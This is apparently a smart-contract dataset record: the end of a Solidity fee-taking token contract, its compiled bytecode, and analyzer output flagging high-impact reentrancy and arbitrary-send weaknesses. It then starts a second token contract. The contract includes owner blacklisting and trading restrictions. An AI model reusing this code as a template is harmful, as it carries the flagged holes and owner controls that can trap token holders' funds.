_rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f53616c742042616520496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601b81526020017ff09fa5a920f09fa7822053414c54494e5520f09fa78220f09fa5a90000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d371926acb7dfff9ba5158fdf070349e25429ae5bcb1e81e8ad151b8feaeed264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,308
0xab87e6e770a2e9d9ff378f0840c2010613d054a5
// ..... ▄▄ ▄▄ // ......▄▌▒▒▀▒▒▐▄ // .... ▐▒▒▒▒▒▒▒▒▒▌ // ... ▐▒▒▒▒▒▒▒▒▒▒▒▌ // ....▐▒▒▒▒▒▒▒▒▒▒▒▌ // ....▐▀▄▄▄▄▄▄▄▄▄▀▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ....▐░░░░░░░░░░░▌ // ...▄█▓░░░░░░░░░▓█▄ // ..▄▀░░░░░░░░░░░░░ ▀▄ // .▐░░░░░░░▀▄▒▄▀░░░░░░▌ // ▐░░░░░░░▒▒▐▒▒░░░░░░░▌ // ▐▒░░░░░▒▒▒▐▒▒▒░░░░░▒▌ // .▀▄▒▒▒▒▒▄▀▒▀▄▒▒▒▒▒▄▀ // .. ▀▀▀▀▀ ▀▀▀▀▀ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { 